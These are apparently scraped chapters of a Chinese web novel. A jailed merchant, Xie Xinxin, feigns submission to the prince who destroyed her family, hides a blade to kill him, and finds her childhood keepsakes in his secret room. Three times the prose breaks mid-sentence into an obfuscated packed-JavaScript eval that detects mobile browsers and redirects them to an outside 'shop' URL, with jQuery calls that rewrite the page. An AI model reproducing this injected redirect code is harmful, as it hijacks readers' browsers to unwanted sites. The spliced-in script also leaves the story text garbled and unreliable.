也就是说,赵都云一早就知道自己要寻仇人,看卷宗,所以才有了后来的佘半仙偷换卷宗之事。 事到如今,谢府当年一把火成了灰,若再说和赵都云没有关系,实在说不过去。 真相呼之欲出,她只恨自己想通的太晚。 她将边青昙交到穆娘子手上,深吸一口气,“穆娘子,此事就交给你了。” 没过多久,就有狱吏齐声跺着脚步来给贵人开道。 大牢里的人从没想过,女监里还能来这样金尊玉贵的男人。哪怕一身素服,依旧是贵气夹着冷意,像一阵不由分说的风,气势汹汹地停在谢辛辛面前。 没得到该有的“迎接”,赵都云不耐地踢了一脚牢门。见到多日不见的美人儿,却连称呼也懒得叫,“父王的事你知道了吧,别告诉我是你干的。” 隔着栅门,谢辛辛才发现他似的,问了声,郡王爷安。便从阴影处走进摇摇的油灯下。 赵都云一定神,看清这一间房里只有她与茗琅。想必茗琅早在他不知情的时候倒戈了。既然都知根知底,那么说话也不用避人了。 赵都云道:“你别叫我郡王,若非父王无辜薨逝,横生枝节,我这几日就要册封了。如今范守一没了影踪,却让我来找你,你说说,为什么?” 谢辛辛道:“我听不懂你说的什么。你如今是云顺郡王了,是喜事啊,我确实在牢中才听说的。” 装的倒是玉洁冰清。赵都云在心底冷哼。 这些天他谋划大事,没能分神理会这小伢,就这么一会儿,竟然被她算计到自己亲爹头上了。赵都云气得发笑,“倒被你三年的蛰伏给骗了,早该知道你不是安分之人。我只是不懂,你是怎么串通范守一的?若论金银,你能给的,我赵都云有什么给不了?” 谢辛辛低头,“郡王在说什么?仁宁堂我去过几次,只是看病,和范医师不相熟。我在大牢里,哪有这样通天的本事?郡王错怪我了,宣王爷薨了,我心里也难受的很。” 眼前人乍然这么乖顺,倒把赵都云唬愣了。是啊,她说的也有道理。到底还是一个小女子,做生意的时候再威风,还不全在自己的股掌之间?更何况宣王爷和她无怨无仇,她有什么理由害他? 可是陆清和呢?他分明让谢辛辛下药,再找人杀了他。陆清和是怎么活过来的? 赵都云冷静下来,从怀中抖落一张信纸: ……欲知其故,可寻玉春楼的谢小掌柜,一问便知。 赵都云向下睨着她,“范守一医治不当,致我父王过世,我去仁宁堂捉他,却发现了他留在仁宁堂的信。谢辛辛,这你又怎么解释?” 谢辛辛也很惊讶,捂嘴呀了一声:“莫非……” 没等赵都云说完“莫非什么”,谢辛辛猛然屈膝跪了下来,引得茗琅也随她跪下了。 谢辛辛凝重道:“郡王,宣王爷的死,或许真的与我有关。” 这是承认了?赵都云蹙眉,又觉得不对,“什么叫‘或许’?” 谢辛辛一眨眼,说出了她提前编好的一番话。 “那日我楼中歌舞的女伎忽然头晕,我去仁宁堂替她拿些治头风的药材,仁宁堂却说范医师不在。” “我见他医案上有现成的药方,伙计说是治宣王爷的头疼病的。我想着一样是头疼,就让伙计给我照样抓了一副,期间我嫌伙计动作慢,自己动手拿了几味药。” “怎知我还没回到玉春楼,范医师却匆匆追来,拿另一副药换走了我手里的药包,说伙计不懂事,弄错了,给宣王爷的药不是治头疼的。既然他带了药来,我也没介意,拿了新的药回了酒楼。如今回忆起来,范医师拿了我原来抓的那副药,确是往宣王府的方向去了。” “这几日我才进大牢,就听说王爷走了。难道是我动手抓的那副药有问题……郡王,或许范守一已经发觉王爷身死的真相,怕逃不过责任,故而留了一封信,想推到我的身上。” 赵都云指节握紧用松开,紧紧皱着眉。 她这番话,站不住脚的地方实在太多,却又能自圆其说。偏偏范守一带着人手一跑,她所说的,都成了无从考证之事。 他伸出一只手,越过栅门去触碰她的脖颈,指尖在她动脉出流连,“你可知你在说什么?若事情真如你所说,我立刻在这杀了你,也不为过。” “自然。”谢辛辛并不躲,却抬头深深地望向他,“可我不想死。难道你想我死吗?” 不等赵都云回答,又听她细声细气道:“郡王,自上次一别,再见我却身陷囹圄。你对我就只有质问吗?” 赵都云没听明白,怔怔问:“什么?” 谢辛辛又上前一些,睁大眼睛看他,眼中泪光涟涟:“你难道觉得,我谢辛辛是多傻的小女娘?未经审讯,就进了这大牢之中,我一想便知是你的意思。茗琅和马南春都被抓了,你要做什么?难道玉春楼对你来说,没有利用价值了?你便要将我们都抛弃了?” 这话这么说,陆清和死而复生,她难道真不知情? 她声泪俱下,泪珠儿挂在鸦羽一样的眼睫上,从前一双坚毅的眼睛,如今也不知是不是遭了缧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13603154|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 绁之厄的缘故,竟然难得透出姑娘家一汪如水的委屈来,倒让威风凛凛的男人措手不及了。[1] 既然如此,赵都云张了张嘴,忽然不愿意再提起那个姓陆的人,只用马南春办事不利,出了差错含糊带过。 赵都云脸上不松动,心里却有一团火狂热地燃烧。她这个样子,他从多年以前就盼望看到。从前他去谢府拜访,两家分明有交好的意思,可年轻的谢小小姐一副淡如水的沉静,好像连他精挑细选的礼物都没放在眼里…… 当时他便想着,有朝一日,他要让谢家这个女儿卑伏在他身下,心甘情愿地臣服。执念化成种子,深深地种在赵都云的心里,若干年后,已长成盘根扭节的参天大树,以至于连她身边的人,他也能当做点心勉强享用……若非如此,他怎能容谢辛辛在宣王府的眼皮子底下活到现在? 赵都云深刻地觉得,将她押送入狱是多么明智的决定。果然女人性子再刚烈,终还是经不住吓。他心里满意,嗤笑一声,“你这话说的不对。谢辛辛,你是与我订过婚的人,便是我的东西,怎好和他们相比?” “做事出了差池,捐弃几个下人是常事。你不懂么?你喜欢茗琅,我可以留她当个狗儿猫儿的在你身边。像马南春这样的,寻个机会杀了就是。可你是不同的,你在本王心中一向是不同的,你还要装作不懂么?” 他一腔热血说完这些话,吓得女监里的其他犯人险些咬了舌头。怪道穆娘子回回都往这个新来的牢门前面跑,原来还有这样的来头。还好没人作弄过她。 只不过,远远的站着一个面生的狱吏,听他说到一半,身形晃了晃,抱着剑才站稳了。 谢辛辛遏住心头泛起的恶心,垂了眼睛。赵都云却不给她回避的机会,抬手将她的脸抬起来:“看着本王。本王的意思,你若仍是不懂,茗琅也可一并杀了。” 茗琅闻言,身子颤抖起来,深深地埋到地下去。 谢辛辛胃里像被人打了一拳似的难受。赵都云这样的恶人,果真是贪得无厌,做小伏低还不够,这会仍要得寸进尺。 他的意思,竟是顺势要自己放下身段,遂了他的心意跟了他。一想到眼前之人所做之事,又极有可能是害了谢府满门的凶手,她的指尖就止不住地打颤,恨不能现在伸手挖了他的心。 但无妨,这种要求也在她的预想之内。 “郡王的意思,我懂。退一万步来说,郡王于我有恩,我日后便全凭郡王发落。” 淡淡地一句话,听得赵都云心头狂跳。这样韧如苇草的女子,合该和王府里那些随养的孤儿待遇不同。他试探作局,顺势利用,等她低头,等了那么久。 赵都云不知道的是,谢辛辛的心也隆然地打在胸腔上。她照着计划,顺从地应承赵都云的话,浑身却因愤怒而发烫。 只有贴着胸前的某处是冰凉的——陆清和给她的袖剑,她一直藏在身上。贴着肌肤,恍若他在替她执剑一样。个中多少遗憾,都燃在了心火里。 只要能接近他…… 爹,娘,女儿这三年不曾白活。 注释: [1] 骡绁之厄:牢狱之灾厄 74.鹿之怒 知道她比外表危险,却心甘情愿把危险收入囊中。这是赵都云的癖好,也是他的心魔。否则他大可不必行灭口之事后,又将那些孩子都留下来为自己所用。 他如何不知道这些孩子若知道真相后,大抵要将他视作仇敌?可,万一呢?万一有人心甘情愿地臣服于他,出于对他赵都云的忠诚,而摒弃了前半生的恩怨呢? 如果真有这么一个人,是不是意味着,谢辛辛是不是也有可能…… 他愿意养那么十几个孩子,大费周折地隐瞒他们的身世,只为了赌这一个万一。 那厢外头狱神庙的牌坊下,一截精壮的男人影子一闪而过。原是陆景明心里到底装上了陆清和的事,不知为了自己弟弟口中的“证据”,还是为了仅剩的一点兄弟情义,快马加鞭地赶到莲州。一打听才知道,这姑娘已经被关进大狱了。 嗟叹归嗟叹,心里也没多少愧疚。毕竟自己与云顺郡王还不是一条心的,不能把郡王爷做的恶事都揽到自己头上。害一回弟弟那是形势所迫,这一个姑娘家,能保全就保全吧,算尽了自己作为兄长的一点情分。 于是本打算亮出身份,去向当地的官员要人,大不了硬抢走,难道云顺郡王会为了个女人坏了大计?怎知赵都云抢先一步,一气儿像个窜天的炮仗一般先冲进了女牢。 “这可难了。”陆景明摇摇头,自言自语,“可不要和他撞见。”免得赵都云多疑,怀疑起他合作的诚意来。 等他走了,再把人抢了不迟。 谁知赵都云再出来,是带着两个姑娘一起。两位姑娘虽露倦容,却姿色难掩,其中一个杏子眼、桃春面,正是陆清和所说的模样。 陆景明皱了皱眉,思索着要不要把姑娘出狱的功劳揽在自己头上。 谢小掌柜和茗琅姑娘一起走了,穆娘子也看在眼里。两个姑娘惊慌失措的来,又轻飘飘的走,穆娘子不知道他们说了什么,自是一头雾水。 她走到远处的两个狱吏前面,其中一个在赵都云说话时踉跄了一下,很快站稳了。此刻他扶了扶帽子,露出疲惫的眉眼——是马南春。 他身边的同僚先前一直低着脑袋,此刻也抬起头来,净月白的脸,淡桃粉的唇,原来是边青昙。 边青昙和马南春不熟,本来不愿意多嘴,因受了谢辛辛的嘱托才问了一句:“听到他说你这样的人‘寻个机会杀了就是’,还愿意替他卖命?” 马南春无话可说。他经历了这一遭,身心俱疲。他只知道知恩图报,愿为主子哪怕豁出这条命也无妨。可他却不能接受自己这报恩的命,是可以被随手扔掉的。 穆娘子打断了他的思绪:“你们接下来作何打算?若没有别的安排,我需尽快将他送回男监,否则男监那边的牢头问起来我不好解释。” 不待马南春说话,边青昙颇有些不满,“你方才没听云顺郡王的话么?若是现在将马南春送回牢里,他多半是要死的,慢则几日,快则今夜。” 穆娘子为难道:“我能有什么办法?退一万步讲,郭大人只让我配合谢小掌柜,也说了让我照看边姑娘你,提都没提到这个马南春。若不是看着你们二人的面子,我万不会铤而走险将他带出来。” 边青昙还要冷笑,马南春却淡淡接了一声: “死便死吧。自我懂事起,王府养了我六年,我替他在玉春楼待了三年,余下没报答的三年,便用我的命抵。” 边青昙像看鬼一样看他:“你没病吧?有病别放弃,我能治。” 穆娘子说好了,这会儿枷项都快戴上脖子了还吵嘴呢,转向马南春劝道,“再说你要抵命,怎么就急于这一时了?那茗琅姑娘在狱中时,时不时还问起你的情况。你要求死,也得出去向她交待过再死吧?” 马南春有些意外,没想到茗琅会提起他,毕竟她连他的药也没收下,还以为她不会再搭理自己了。 正犹豫着,边青昙却漫不经心道:“对啊,更何况你哪怕只为了报恩而活,报了养恩便不报生恩了吗?” “生恩?”马南春认真想了想,“我父母去的早,如今连骨灰都不知去处,如何报答?” 边青昙问:“不知去处,怎么不找?找到了骨灰,再找死因。若你父母也是被宣王府害的,岂不是正好仇怨与恩情相消,养恩也不用报了?” 一番话不仅是马南春,连穆娘子也听得一愣一愣的。真是一物降一物,边姑娘平日看着死脑筋,教训起另一个死脑筋来却成效显著。马南春一听觉得有理,寻死的话也不说了,而是肃了面容,对二人道了一声谢。 穆娘子稳重地笑了笑:“那便走吧。一刻后门吏交班,你趁这个时候出去。不必顾念我,哪怕上头发现了,郭知州自会保全我的。” 马南春点点头,又看向边青昙。 穆娘子摇摇头,“边姑娘无碍的。她和你们不同,是在郭夫人病倒后拿进来审问的。过几日他们审不出东西,自然会把边姑娘放了。” 马南春也不多话,一抱拳:“如此,就此别过。” …… 再回王府时,宣王府的门前已经挂着白幡绸。赵都云没有走正门,后院守门的府卫各自纳罕地对视,只觉得老王爷新丧,世子却……不,是郡王,身后跟着两个女人,看起来心情甚好。 临要跨进府门,谢辛辛看出了茗琅的踌躇,出声道:“郡王。” 赵都云嗯了一声,挑眉看他:“走小门,否则从正门进去,还得叩拜哭丧,给王妃行礼。你一进府就撞上这事,多晦气。” 倒是第一次称自己亲爹的丧事晦气的。谢辛辛心底恶心透了他,还是好言好语道:“玉春楼那儿,我不放心。” 赵都云说这有什么,“你既然想开了愿意跟着我,这掌柜当不当也无所谓,那酒楼也毋需再开了。” 谢辛辛拧着眉望了他一眼。 赵都云忙道:“要开也行,原本就是那时看你伤心,给你留的玩具罢了。” 怪不得刘宛三年前找到赵都云时,他果断出面替谢辛辛保全了玉春楼,虽然宣王府接手了谢家许多铺面,他却极慷慨地将玉春楼完璧归赵,让她当上了谢小掌柜。 原来从一开始,赵都云只想着哄着她玩。 谢辛辛叹了口气: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13627380|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “到底我小时候来过的地方,好端端的为什么不开了?让茗琅回去打理吧,我不出面便是了。” 茗琅骇异地抬头,眼中逐渐就蓄了泪。 掌柜的是知道她不愿再踏入这个地方,她怎么会不懂? 赵都云自然是无所谓,多年的执念将要入怀,是个人都是好说话的,“就依你说的办。” 茗琅诺诺应下,后退着走了,最后用余光看了一眼宣王府,只见谢辛辛侧首冲她点了点头。茗琅终于忍不住,泪水夺眶而出。 此招甚险,掌柜的,祝你成功。 于是最终只有他们二人走进了王府。谢辛辛笼着囚服,身上披着一身裰满销金的男子外袍,是赵都云硬给她裹上的,动作强硬,还险些碰到她藏在身上的短剑。 男人身量高,上袍落在她身上也拖了地,推着灰白的囚衣裙摆在地面上逶迤。所幸这条道僻静的很,许是因为大多数人都跪在前厅的奠仪前,连上值的侍女也没有。 走着走着,谢辛辛觉得这条路有些熟悉,还没等想起来,赵都云却去握她的手。 她猛地一甩,诧异地看她,眼仁微微颤动,像只警惕的鹿。 赵都云不怪她。美丽的山鹿在外面游玩久了,冷不防要抓回笼子里,自然要对人警惕。他不在乎地收回手,“躲什么,你既想通了,这是多早晚的事?往后再亲密些,岂不是要把你吓出病来?” 哪还有什么往后?谢辛辛的视线从他脸上移到脖颈之处。虽然女子力微,但若动作够快,从此处下手,能否一击毙命?她将袖剑一直贴身藏在抹腹中,只要一个他放下戒备的机会。 但此刻不行。眼见着,面前的景象渐渐熟悉了起来,曲折蜿蜒的小路,几块假山石,很快就见到了熟悉的院门。 正是她撞见金福柱几个搬货卸货的地方。 若她与陆清和之前的推断没错,这里应该是赵都云藏铁器私兵之处吧?! 她贴向胸前的手慢慢地放了下来,声音也平静:“此处是……?” 几样绿景遮掩的地方,是一间不大不小的别院,石砖间冒出青苔,像是没有专人打扫的样子。 赵都云猜着她心中所想,很有炫耀的意味:“这是我的地方,平日不让人进出。你若想避人,便先住在这里。等我忙完这阵,将你接到云京去。” 忙什么事情忙完能定居在京城?谢辛辛不敢想,只谨慎打量着这里,不知赵都云会将铁器放在何处,更大的可能是他早有筹谋,将生铁的兵器送去炼造,送到了它们该去的地方。 可历过事的地方,必不可能全无马脚。这一点,她随着陆清和经历了几桩案子,早就学会了。 赵都云问她:“你在找什么?” 谢辛辛心空跳一拍,故作镇定: “我在想,为什么让我住在这种地方。郡王究竟是想以什么身份来接我入府?” 赵都云哂然一笑:“你如今的样子可爱多了,你不知道我等这一天等了多久。” “你是我最放在心里的人,自然配得上最好的。莫说郡王妃,哪怕是皇后的位子,你也做得。” 75.扇巴掌 “父王薨逝,府上不适合办喜事。”赵都云狠狠咬着唇,露出几颗森森白牙,“哪里是我不想风风光光地迎你进府,是他死的实在不是时候,这事也得怪你不是?” 果然赵都云一点没变,从小疯到大,没说两句就癫言癫语。谢辛辛感到一阵恶心,死命咽下一口酸水,才没让自己直接吐出来。 看她忽地低头,赵都云只当她是被惊着了,嘲笑她:“这么不经吓?当初我认识的谢小小姐可不是这样,倔驴一般,我与父王亲自登门,你也不曾拿正眼瞧我。” 谢辛辛勉强笑笑:“是你做派太狂悖无道了些。今日也是。王爷新丧,你不去先去看他,却把我带到这里。看着没人居住,却也未落灰,这儿之前是做什么的?” 她试探地问询,赵都云却眼尾飞扬,略过了最重要的问题,只说,“怕什么,老东西死的不是时候,不代表他死的冤枉。你若是爱听,再大逆不道的话我也可说。我告诉你,我和那姓陆的不同,除了你,我想要的还有很多。兵马、天下……同样姓赵,那位该有的,我也要有。” 谢辛辛对他的理想抱负一点兴趣也没有,眼见的不耐烦了:“赵都云,你和我说这么多干什么?” 赵都云愣神片刻。 是啊,他说这么多干什么?这个女人,有气节是常态,如今低头才是出乎意料。他这么急切地将一切告诉她,何必呢? 他不愿意承认,是自己已经在脑海里和她说过一千遍、一万遍,幻想着她笑眯眯地看他,说你果然同当初不一样了,雄韬伟略,不是从前那个为一个小摆件生气的孩子了。 倘若她能理解自己的志向,定然也能理解他烧了谢家也是势不得已吧!他这么想着,仿佛真的已经被原谅了一般,心情大好,“我会等的,等你懂我。” 太不要脸——谢辛辛心里只有这四个字。她深吸一口气,决定假装没听到,继续向里走了几步。 上次走的匆忙,没仔细观察这个院子。如今有心去看,见周围林木葳蕤,院中却平坦开阔,家具甚少,确实适合做货物的转运之地。屋中只有一桌,一柜,一床,差可称之为卧房,却没有堆放过东西的痕迹。 她本想尽快拔剑结果了赵都云,此刻却怀疑起这个院房的构造来。 王府人多眼杂,生铁兵器是不法的东西,不放在明面上也情有可原。如此,难道此处会有什么密室? 她将目光放在卧房的橱柜上,眼神闪烁了下。 不管刺不刺得死赵都云,此事之后,自己一定难活。刘宛有茗琅和边青昙照看,或能脱身。玉春楼和谢家其它铺面,就交给茗琅打理。唯有陆清和,在云京不知怎样了,麻烦解决没有。 但如果她能在宣王府中有什么发现,给陆清和去一封信,若能为他脱身有帮助…… 她自嘲地笑了笑。飞蛾扑火之身,却忍不住想保全许多人,实在不自量力。 “你走吧。”谢辛辛拂了拂浮灰,找个椅子坐下,“到底是你亲父王,总要去丧仪上露个面吧?” 说着,眼风打量着赵都云的动作。 她只想让他快走,好自己一个人琢磨一下这间院子的玄机。 怎料赵都云嘴角勾起妖戾的笑,弯腰看着她的眼,“你急着赶我?”,后半句很像是,我偏不让你如愿,只是话没出口,全写在促狭的眼睛里。 冷不丁一张男人脸凑在她面前,乌发朱唇,若不是长在赵都云的脸上,她也会夸这张皮相有几分女人的美艳。但他身上的血债足以盖过这些,让他皮相的美透出瘆人的鬼气。她避其锋芒,侧过脸去,“我已经随你进了府了,别不知好歹……” 赵都云嗤笑一声。这样不知天高地厚的话,才像是原来的她。他反而起了兴致,伸手揽过她的脖子,“你是好是歹,让我品一品才能知道……” “啪”地一声,赵都云脸上一个红印,针扎般的疼。 怔然的抬眼望去,谢小掌柜不知何时站了起来,气愤地瞪着他,发着抖的身形与多年前模糊重叠,好像又是谢家那个谢小小姐,口中说着“嫁给你好不划算……” 他知道自己孟浪了,可看到她眼里的鄙夷,却因这鄙夷而感觉兴奋,又因兴奋而战栗起来。这就是他日夜想要的女人,他要把她收在房里,养在笼子里。等他打下云京,他会为她做一间金子做的囚宇,让她在花笼中责骂自己,永永远远。 “郡王殿下!” 院外忽然有府卫的声音传来:“郡王殿下,有你的朋友前来祭奠王爷,说是从云京来,问你是否在府中。” 府卫的声音惊醒了他的美梦。在谢辛辛不可置信的目光中,赵都云微笑着抚上自己挨打的那半边脸,淡淡道:“是我心急了,你先休息一会儿吧。” 遂转身走出了院门。 他是疯的。 谢辛辛想。 他真的是疯的。 她没想到他疯的那么彻底,这么快就对她动手了。她隐隐有些后悔自己决定,刚才,在他靠近的时候,她就应该杀了他,为什么愣住了?是赵都云忽然的动作将她吓到了? 谢辛辛用手按在身上的那把剑上,冰冷坚硬的东西横跨她柔软的身体。差一点,赵都云再贴近一点,这把剑可能就要被他发现了。 她怀抱着自己,也是怀抱着这把剑蹲了下来,低低地落了两滴泪。 “陆清和……”她不知道自己为什么念着他的名字。 但须臾后,她站起身来,神色已然坚定。 此处若有密室,机关应就在这桌案床柜之间。 谢辛辛的脸上带着泪痕,四处摸索了起来。手指碰到四方柜子上一处盆景,轻推不动。她使劲一按,整个柜体却忽然一侧,轻轻转动,露出了其后一处小道。 她先是惊喜,而后犹豫了一瞬,还是走了进去。甬道很黑,只有从入口处透出的一点光亮。可其中并没有她想象的铁具兵器等,只有一些看不清形状的小玩意。 谢辛辛看到一个拳头大小的东西,隐隐觉得有些眼熟,伸手一摸,触感冰凉温润。她用掌心托着借光仔细辨认—— 是一个玉虎镇纸。 曾经宣王爷来谢府时,送给她的玉虎镇纸。后来因为和赵都云起了争执,险些被赵都云摔在地上。而后老宣王为了赔罪,命人将此镇纸精细打包好,再次送还了谢府。此后,这个镇纸就一直给她收在自己房间的角落里,没再拿出来把玩过。 她闺房里的东西,怎么会出现在这里? 忽然一阵恶寒,她仓皇地扭头去看,那些横七竖八堆放的物什,突然好像没有一件是陌生的。 她顾不得其它,所幸用裙摆兜起一大堆小物件带出了密室。忽然的明亮让她看清了这些东西——她还是谢小小姐时,用过的的玛瑙丸肩垂,紫檀扇骨和银光绫的摇香扇,甚至还有一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13644382|130187||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 妃红色缎面的配囊,束口处绣着一圈小小的辛夷花。 这是娘在她六岁时,亲手绣给她的生辰礼物。世上绝没有第二个。 这些东西,不应该早随着谢家一把火烧成灰了吗?为什么会出现在这里?!除非谢家的火是…… 再反应过来时,眼泪已流了满脸。她想过自己早晚会查到赵都云害了谢家的证据,却没想到证据会这样猝不及防地出现在她面前,以她童年的玩件,扇骨上冷冷的木香,和娘精心绣工的形态…… 以她朝朝暮暮都在怀念的童年的形式,就这样猝然地,来到她面前。 陆景明翻墙落地时,第一眼见到的弟妹就是这样,水人儿一般,坐在门口,哭得上气不接下气,却死死捂住自己的嘴,不发出一点声音。 他皱了皱眉,觉得有些难办,还是出言确认,“是玉春楼的谢掌柜吗?” 才发觉有外人,她一受惊,悲怆的泪水还没来得及收回去,就抹着脸起身后退,“你是?” 少年将军,被反问也是坦然:“我是北瑛王世子,知你蒙难,受人之托,前来搭救你去云京。” 她才受了打击,此刻凝神专心去听,才能听清他说的什么,怔了片刻,她忽然反应过来:“是陆清和所托?” 陆景明点头道,“正是。”便摘下腰间的一块玉佩,上有北瑛王府四个刻字,“这是北瑛王府的佩,他有一块一模一样的,你应当见过。” 的确见过。在苕江上的时候,陆清和曾用这块玉佩吓得邓船工站不起身来。她吸了吸鼻子,微微颔首,似是认可了他的身份。 陆景明道:“本该救你出狱的,来早一步就能省下许多麻烦。可被云顺郡王抢了先,我只好行此下策,偷偷将你带走。” 谢辛辛霎时感觉后悔。若自己不被仇恨蒙了心眼,再拖延片刻,或许就能跟着这位北瑛王府的世子上云京去。可事已至此,她已经怀揣着这把剑来到宣王府了。 计划赶不上变化,眼前这人可以信任吗?谢辛辛想了想,冷不丁问,“那敢问世子,你可认识这位云顺郡王?你们二人可相识?” 陆景明不知她话里的意思,倒也没把这个小掌柜放在心上,只当她怕赵都云事后算账,如实道:“有些交情,他若问起来,我能替你搪塞一时半刻。” 谢辛辛听到有些交情,当下就变了主意,“我现在不和你去。” “不去?”陆景明蹙眉道,“为什么,你不喜欢清和?难道你喜欢这个郡王爷?” 谢辛辛摇摇头,反问他,“你受陆清和所托,是否一定会保我平安?” 陆景明想到弟弟口中的“证据”,称是。 谢辛辛便道:“那就行。我现在不和你去,因为我还有事没做完。子时前后,届时你来此处找我……记得穿夜行衣,莫要像现在这样,一眼便能看出你是王公子弟,多惹眼。” 果真与别的姑娘不同,如此谨慎,陆景明没觉得有什么不妥,叹服之余一口应下,翻身又跳出了墙外去。 同是北瑛王府之人,这世子倒是身手矫健,不像陆清和,瞧着病怏怏的。 心头萦回的名字忽然在别人的口里说出了几次,这名字好像有种神奇的魔力,让她心境平和下来,重新找回了坚定的决心。 她确实有事没做完,准确的说,是有人没杀完。 既然来了宣王府里,身上有剑,总要试一试。 76.再扇巴掌 她不愿意将自己的东西再放回那间密室里,故而收拢了破碎的心,振作起来将这些小玩意都藏进卧榻一件落灰的丝锦被子里。 想了一想,觉得将袖剑从衣服中抽出来的动作太慢,索性松了松束衣,把剑拿出来藏在了一起。 而后便是等待,坐在塌上看着窗外,一帘秋霁,日薄西山,朱提色的秋阳染红了低云,院外的树影也被抹成浓厚的墨色。 赵都云还没回来,许是在丧仪上被规矩礼数绊了手脚。她心里渐渐有些急,但又升上一股奇异的愉悦。毕竟她即将要尝试亲手杀了他——一个近乎变态的仇人,一个欺瞒她了三年,让她几乎无颜面对地下爹娘的奸伪骗子,甚至还是一个暗中铸养私兵的乱臣。 这得是很大的功德吧?她靠这个念头给自己壮胆,静静坐着,心火却不熄,像一棵在土壤下面发力生根的树。 等了不知个时辰,天黑了,一直没有家奴路过这里,她也没有去点灯,只踅摸来三炷香,一支燃尽了再点另一支。 门口传来沉甸甸的脚步声,谢辛辛的眸光才又一动。 月是血红的,王府的路面浸在月光下,像冲刷过尸体的河水。赵都云踩着血月回来,脚步懒散疲惫。进门的时候,谢辛辛看见她衣摆有些细细的皱痕。 “怎么这么黑?”赵都云的语气不是很好,看来丧仪着实操劳,或许还和王妃引发过争执。 “没有人来点灯。”谢辛辛淡淡道。 她虽然坐在那里,赵都云却觉得她的声音很远,占有她的心情急切起来,往里笑着说她娇气,“无事,本王喜欢你娇气些。若你一心想在外头开铺肆,我才伤心呢……让本王来为你点灯。” 说着摸出引光折,才要吹燃,谢辛辛却说:“等一等,你先出去。我还没有准备好。有水吗,我想梳洗一下。” 他拿折子的手微微一抖,引光折既已打开,樟脑松香混着硫磺的气味,让赵都云微微眩晕了一下。 事到如今,小女娘说要准备一下怎么了。赵都云微微笑,合上了引光折,说可以,“我找人去传水来。不急,我就坐在院子里等你。” 说是坐在院子里,其实就坐在门口的台阶上,哼起了小曲儿。 水抬到里面,女婢们低着头退了出去。谢辛辛象征性地伸手搅动了一下水面,依旧静静坐着。 她并不想在仇人的想象中梳洗。 入冬前的秋夜很凉,她将赵都云的外袍脱了下来,身上只有一件女牢中穿出来的赭衣,和案上仅剩半寸的山檀香相映衬着。 直到最后一点香氲湮灭在空气里,谢辛辛深吸一口气:“进来吧。” 赵都云推门而入,见她在夜色中独坐在床畔,喉头滚动了一下。 他按捺下自己的心,事到临头,反而克制起来,竟温驯地挨着她坐下。 察觉到他要去触她的手,谢辛辛收回了手指,忽然道:“我有一件事不明白。” 赵都云说:“你问,我都告诉你。” 谢辛辛问:“世间比我有才情的女子众多,你为什么……” 她本来想问的是,你为什么独独倾心于我,问出来却变成了“你为什么不放过我”。 身边人的眉毛扬了扬,“世上美人俯拾皆是,我抬手招来,挥之即去,可你……你还记得你曾经对我说过什么?” 谢辛辛皱眉,说不记得。 赵都云道:“你不记得,我却记得。小时候我要抢你的玉虎,被你好生奚落一番,说什么‘嫁给你好不划算’,回家之后,父王又责斥于我……彼时他身高体壮,我挣他不过,我一个小小的孩子……” 赵都云素来如此,明明是他要抢人的东西,经他一说,倒像他是个可怜的受害者。 说了半句,赵都云眯了眯眼,“罢了,不提他。” 话中分明有怨,让谢辛辛一阵恶寒。昔日宣王爷身高体壮,就是如今要被他用药致残,求死不能的理由吗? “又过了几日,父王再次带我登门谢罪,你记得吗?”谢辛辛刚要说不记得,赵都云自己笑了笑,“你自然不记得。我那时年轻,还没见着你,就哭着要回家了。因为我偷听到你和府里那个女管事说的话。” “你说你有和善的爹爹,能干的娘亲,有自己的小马和小院子,还有谢家的铺子,自己能养活自己,何必要去做那劳什子世子妃?” “你说这是赔本的生意,你不想做,到把我说的,像要毁了你好日子的恶人一般。”赵都云自说自话的笑了,“我当时伤心,可后来便想通了。你那时觉得跟着我是赔本生意,我便使这个生意变得划算即可。” 他的声音低下来,在寒夜里散着冷气,“阴差阳错,谢家倒了,父王将谢家的铺子收回到宣王府里,你家的生意没有了,你的小院子也没有了。如今,你还觉得跟着我是不划算的买卖吗?” 什么叫阴差阳错?她一时错愕,“你……” 赵都云却忽然倾身逼了上去,笑意狂热,“无碍,无碍的。你想要做生意,我给你玉春楼,你想要小院子,我为你造。只要你承认,你谢辛辛是我的归属物,从前,现在,以后。” 谢辛辛气急了,忍不住出声,“这些本来就是我有的……” 赵都云不理睬,“你若不认也无妨。经此一事,我才明白过来,单依着你是不行的,却要将你送到牢里吃吃苦头,才懂得做人要服软的道理。若还不够,我就将茗琅接回来,仍旧在我的房里……” 她抬掌就要打他。赵都云不知怎么想的,仰面迎了上去,啪的一声,又脆又响亮,打得他身体往塌上一歪,用手肘堪堪撑住。 